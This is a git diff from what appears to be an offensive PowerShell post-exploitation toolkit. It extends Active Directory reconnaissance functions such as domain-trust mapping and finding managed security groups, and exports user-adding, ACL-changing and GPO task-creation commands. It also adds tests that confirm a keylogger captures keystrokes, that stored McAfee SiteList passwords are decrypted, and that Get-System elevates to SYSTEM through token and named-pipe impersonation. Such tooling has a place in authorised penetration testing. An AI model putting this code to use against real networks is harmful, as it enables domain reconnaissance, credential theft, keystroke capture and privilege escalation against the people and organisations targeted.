+ 'GroupCN' = $_.cn
+ 'GroupDN' = $_.distinguishedname
+ 'ManagerCN' = $group_manager.cn
+ 'ManagerDN' = $group_manager.distinguishedName
+ 'ManagerSAN' = $group_manager.samaccountname
+ 'ManagerType' = ''
+ 'CanManagerWrite' = $FALSE
+ }
+
+ # Determine whether the manager is a user or a group
+ if ($group_manager.samaccounttype -eq 0x10000000) {
+ $results_object.ManagerType = 'Group'
+ } elseif ($group_manager.samaccounttype -eq 0x30000000) {
+ $results_object.ManagerType = 'User'
+ }
+
+ # Find the ACLs that relate to the ability to write to the group
+ $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
+
+ # Double-check that the manager
+ if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
+ $results_object.CanManagerWrite = $TRUE
+ }
+ $results_object
+ }
+}
+
+
function Invoke-MapDomainTrust {
<#
.SYNOPSIS
@@ -11122,6 +12214,11 @@ function Invoke-MapDomainTrust {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
@@ -11142,7 +12239,11 @@ function Invoke-MapDomainTrust {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
+
)
# keep track of domains seen so we don't hit infinite recursion
@@ -11152,7 +12253,7 @@ function Invoke-MapDomainTrust {
$Domains = New-Object System.Collections.Stack
# get the current domain and push it onto the stack
- $CurrentDomain = (Get-NetDomain).Name
+ $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
$Domains.push($CurrentDomain)
while($Domains.Count -ne 0) {
@@ -11160,7 +12261,7 @@ function Invoke-MapDomainTrust {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
- if (-not $SeenDomains.ContainsKey($Domain)) {
+ if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "Enumerating trusts for domain '$Domain'"
@@ -11170,10 +12271,10 @@ function Invoke-MapDomainTrust {
try {
# get all the trusts for this domain
if($LDAP -or $DomainController) {
- $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize
+ $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
}
else {
- $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize
+ $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
}
if($Trusts -isnot [system.array]) {
@@ -11181,7 +12282,7 @@ function Invoke-MapDomainTrust {
}
# get any forest trusts, if they exist
- $Trusts += Get-NetForestTrust -Forest $Domain
+ $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
if ($Trusts) {
@@ -11229,11 +12330,14 @@ $FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
+ (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
+ (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
- (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),
+ (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
@@ -11296,6 +12400,26 @@ $SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
sesi10_idle_time = field 3 UInt32
}
+# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
+$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
+ SidTypeUser = 1
+ SidTypeGroup = 2
+ SidTypeDomain = 3
+ SidTypeAlias = 4
+ SidTypeWellKnownGroup = 5
+ SidTypeDeletedAccount = 6
+ SidTypeInvalid = 7
+ SidTypeUnknown = 8
+ SidTypeComputer = 9
+}
+
+# the NetLocalGroupGetMembers result structure
+$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
+ lgrmi2_sid = field 0 IntPtr
+ lgrmi2_sidusage = field 1 $SID_NAME_USE
+ lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
+}
+
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
diff --git a/Recon/README.md b/Recon/README.md
index d992798..6e28a30 100644
--- a/Recon/README.md
+++ b/Recon/README.md
@@ -120,6 +120,8 @@ an array of hosts from the pipeline.
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
+ Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to
+ - those groups (i.e. the ability to add or remove members)
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1
index 55f19f7..467fcdd 100644
--- a/Recon/Recon.psd1
+++ b/Recon/Recon.psd1
@@ -23,70 +23,71 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
- 'Get-ComputerDetails',
- 'Get-HttpStatus',
- 'Invoke-Portscan',
- 'Invoke-ReverseDnsLookup',
- 'Set-MacAttribute',
- 'Copy-ClonedFile',
+ 'Add-NetUser',
+ 'Add-ObjectAcl',
'Convert-NameToSid',
'Convert-SidToName',
- 'Convert-NT4toCanonical',
- 'Get-Proxy',
- 'Get-PathAcl',
- 'Get-NetDomain',
- 'Get-NetForest',
- 'Get-NetForestDomain',
- 'Get-NetForestCatalog',
- 'Get-NetDomainController',
- 'Get-NetUser',
- 'Add-NetUser',
- 'Get-UserProperty',
+ 'Convert-ADName',
+ 'ConvertFrom-UACValue',
+ 'Find-ComputerField',
+ 'Find-ForeignGroup',
+ 'Find-ForeignUser',
+ 'Find-GPOComputerAdmin',
+ 'Find-GPOLocation',
+ 'Find-InterestingFile',
+ 'Find-LocalAdminAccess',
+ 'Find-ManagedSecurityGroups',
'Find-UserField',
- 'Get-UserEvent',
- 'Get-ObjectAcl',
- 'Add-ObjectAcl',
- 'Invoke-ACLScanner',
- 'Get-NetComputer',
'Get-ADObject',
- 'Set-ADObject',
+ 'Get-CachedRDPConnection',
+ 'Get-ComputerDetails',
'Get-ComputerProperty',
- 'Find-ComputerField',
- 'Get-NetOU',
- 'Get-NetSite',
- 'Get-NetSubnet',
- 'Get-NetGroup',
- 'Get-NetGroupMember',
- 'Get-NetFileServer',
'Get-DFSshare',
+ 'Get-DomainPolicy',
+ 'Get-ExploitableSystem',
+ 'Get-HttpStatus',
+ 'Get-LastLoggedOn',
+ 'Get-NetComputer',
+ 'Get-NetDomain',
+ 'Get-NetDomainController',
+ 'Get-NetDomainTrust',
+ 'Get-NetFileServer',
+ 'Get-NetForest',
+ 'Get-NetForestCatalog',
+ 'Get-NetForestDomain',
+ 'Get-NetForestTrust',
'Get-NetGPO',
+ 'New-GPOImmediateTask',
'Get-NetGPOGroup',
- 'Find-GPOLocation',
- 'Find-GPOComputerAdmin',
- 'Get-DomainPolicy',
+ 'Get-NetGroup',
+ 'Get-NetGroupMember',
'Get-NetLocalGroup',
- 'Get-NetShare',
'Get-NetLoggedon',
- 'Get-NetSession',
+ 'Get-NetOU',
+ 'Get-NetProcess',
'Get-NetRDPSession',
+ 'Get-NetSession',
+ 'Get-NetShare',
+ 'Get-NetSite',
+ 'Get-NetSubnet',
+ 'Get-NetUser',
+ 'Get-ObjectAcl',
+ 'Get-PathAcl',
+ 'Get-Proxy',
+ 'Get-UserEvent',
+ 'Get-UserProperty',
+ 'Invoke-ACLScanner',
'Invoke-CheckLocalAdminAccess',
- 'Get-LastLoggedOn',
- 'Get-CachedRDPConnection',
- 'Get-NetProcess',
- 'Find-InterestingFile',
- 'Invoke-UserHunter',
- 'Invoke-ProcessHunter',
+ 'Invoke-EnumerateLocalAdmin',
'Invoke-EventHunter',
- 'Invoke-ShareFinder',
'Invoke-FileFinder',
- 'Find-LocalAdminAccess',
- 'Get-ExploitableSystem',
- 'Invoke-EnumerateLocalAdmin',
- 'Get-NetDomainTrust',
- 'Get-NetForestTrust',
- 'Find-ForeignUser',
- 'Find-ForeignGroup',
- 'Invoke-MapDomainTrust'
+ 'Invoke-MapDomainTrust',
+ 'Invoke-Portscan',
+ 'Invoke-ProcessHunter',
+ 'Invoke-ReverseDnsLookup',
+ 'Invoke-ShareFinder',
+ 'Invoke-UserHunter',
+ 'Set-ADObject'
)
# List of all files packaged with this module
diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1
new file mode 100644
index 0000000..e4f60d5
--- /dev/null
+++ b/Tests/Exfiltration.tests.ps1
@@ -0,0 +1,54 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
+
+Remove-Module [E]xfiltration
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+Describe 'Get-Keystrokes' {
+
+ if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
+ $WindowTitle = (Get-Process -Id $PID).MainWindowTitle
+
+ $Shell = New-Object -ComObject wscript.shell
+ $Shell.AppActivate($WindowTitle)
+
+ $KeyLogger = Get-Keystrokes -PassThru
+ Start-Sleep -Seconds 1
+
+ $Shell.SendKeys("Pester`b`b`b`b`b`b")
+ $KeyLogger.Dispose()
+
+ It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
+
+ $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
+
+ It 'Should log keystrokes' {
+ $FileLength = (Get-Item "$($env:TEMP)\key.log").Length
+ $FileLength | Should BeGreaterThan 14
+ }
+
+ It 'Should get foreground window title' {
+ $KeyObjects[0].WindowTitle | Should Be $WindowTitle
+ }
+
+ It 'Should log time of key press' {
+ $KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
+ $KeyTime.GetType().Name | Should Be 'DateTime'
+ }
+
+ It 'Should stop logging after timeout' {
+
+ $Timeout = 0.05
+ $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
+
+ Start-Sleep -Seconds 4
+
+ $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
+ $KeyLogger.Dispose()
+ }
+
+ Remove-Item -Force "$($env:TEMP)\key.log"
+}
diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
index 095c946..999d712 100644
--- a/Tests/Privesc.tests.ps1
+++ b/Tests/Privesc.tests.ps1
@@ -74,6 +74,137 @@ Describe 'Get-ModifiableFile' {
}
}
+Describe 'Test-ServiceDaclPermission' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges."
+ }
+
+ It "Should fail finding 'sc.exe'." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $DirectoryName = Get-RandomName
+ $env:SystemRoot = 'C:\\' + $DirectoryName
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found"
+
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ $env:SystemRoot = 'C:\Windows'
+ }
+
+ It "Should succeed finding 'sc.exe'." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $DirectoryName = Get-RandomName
+ New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory
+ New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File
+ $env:SystemRoot = $env:Temp + "\$DirectoryName"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+
+ Remove-Item -Recurse -Force "$env:Temp\$DirectoryName"
+ $env:SystemRoot = 'C:\Windows'
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail querying WMI for a non-existent service." {
+ $ServiceName = Get-RandomName
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
+ }
+
+ It "Should succeed querying WMI for an existenting service." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail querying WMI for an existing service due to insufficient DACL permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail running 'sc.exe sdshow' due to insufficient permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions"
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ it "Should fail finding the service DACL value of 'WP' for the current user." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ it "Should succeed finding the service DACL value of 'WP' for the current user." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+}
########################################################
#
@@ -568,3 +699,133 @@ Describe 'Invoke-AllChecks' {
$Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue
}
}
+
+Describe 'Get-SiteListPassword' {
+ BeforeEach {
+ $Xml = '<?xml version="1.0" encoding="UTF-8"?><ns:SiteLists xmlns:ns="naSiteList" Type="Client"><SiteList Default="1" Name="SomeGUID"><HttpSite Type="fallback" Name="McAfeeHttp" Order="26" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==</Password></HttpSite><UNCSite Type="repository" Name="Paris" Order="13" Server="paris001" Enabled="1" Local="0"><ShareName>Repository$</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>companydomain</DomainName><UserName>McAfeeService</UserName><Password Encrypted="0">Password123!</Password></UNCSite><UNCSite Type="repository" Name="Tokyo" Order="18" Server="tokyo000" Enabled="1" Local="0"><ShareName>Repository$</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>companydomain</DomainName><UserName>McAfeeService</UserName><Password Encrypted="1">jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==</Password></UNCSite></SiteList></ns:SiteLists>'
+ $Xml | Out-File -FilePath "${Home}\SiteList.xml" -Force
+ }
+ AfterEach {
+ Remove-Item -Force "${Home}\SiteList.xml"
+ }
+
+ It 'Should correctly parse a SiteList.xml found in a searched path.' {
+
+ $Credentials = Get-SiteListPassword
+
+ $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object {
+ # HTTP site
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'update.nai.com:80'
+ $_.Path | Should Be 'Products/CommonUpdater'
+ $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
+ $_.DecPassword | Should Be 'MyStrongPassword!'
+ $_.UserName | Should BeNullOrEmpty
+ $_.DomainName | Should BeNullOrEmpty
+ }
+
+
+ $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object {
+ # UNC site with unencrypted password
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'paris001'
+ $_.Path | Should Be 'Repository$'
+ $_.EncPassword | Should Be 'Password123!'
+ $_.DecPassword | Should Be 'Password123!'
+ $_.UserName | Should Be 'McAfeeService'
+ $_.DomainName | Should Be 'companydomain'
+ }
+
+ $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object {
+ # UNC site with encrypted password
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'tokyo000'
+ $_.Path | Should Be 'Repository$'
+ $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
+ $_.DecPassword | Should Be 'MyStrongPassword!'
+ $_.UserName | Should Be 'McAfeeService'
+ $_.DomainName | Should Be 'companydomain'
+ }
+ }
+
+ It 'Should correctly parse a SiteList.xml on a searched path.' {
+
+ $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml"
+
+ $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object {
+ # HTTP site
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'update.nai.com:80'
+ $_.Path | Should Be 'Products/CommonUpdater'
+ $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
+ $_.DecPassword | Should Be 'MyStrongPassword!'
+ $_.UserName | Should BeNullOrEmpty
+ $_.DomainName | Should BeNullOrEmpty
+ }
+
+
+ $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object {
+ # UNC site with unencrypted password
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'paris001'
+ $_.Path | Should Be 'Repository$'
+ $_.EncPassword | Should Be 'Password123!'
+ $_.DecPassword | Should Be 'Password123!'
+ $_.UserName | Should Be 'McAfeeService'
+ $_.DomainName | Should Be 'companydomain'
+ }
+
+ $Credentials | Where-Object {$_.Name -eq 'Tokyo'} | ForEach-Object {
+ # UNC site with encrypted password
+ $_.Enabled | Should Be '1'
+ $_.Server | Should Be 'tokyo000'
+ $_.Path | Should Be 'Repository$'
+ $_.EncPassword | Should Be 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
+ $_.DecPassword | Should Be 'MyStrongPassword!'
+ $_.UserName | Should Be 'McAfeeService'
+ $_.DomainName | Should Be 'companydomain'
+ }
+ }
+}
+
+
+Describe 'Get-System' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Get-System' Pester test needs local administrator privileges."
+ }
+
+ AfterEach {
+ Get-System -RevToSelf
+ }
+
+ It 'Should not throw with default parameters and should elevate to SYSTEM.' {
+ { Get-System } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It 'Named pipe impersonation should accept an alternate service and pipe name.' {
+ { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It 'Should elevate to SYSTEM using token impersonation.' {
+ { Get-System -Technique Token } | Should Not Throw
+ "$([Environment]::UserName)" | Should Be 'SYSTEM'
+ }
+
+ It '-WhoAmI should display the current user.' {
+ { Get-System -Technique Token } | Should Not Throw
+ { Get-System -WhoAmI } | Should Match 'SYSTEM'
+ }
+
+ It 'RevToSelf should revert privileges.' {
+ { Get-System -Technique Token } | Should Not Throw
+ { Get-System -RevToSelf } | Should Not Throw
+ "$([Environment]::UserName)" | Should Not Match 'SYSTEM'
+ }
+
+ It 'Token impersonation should throw with incompatible parameters.' {
+ { Get-System -Technique Token -WhoAmI } | Should Throw
+ }
+}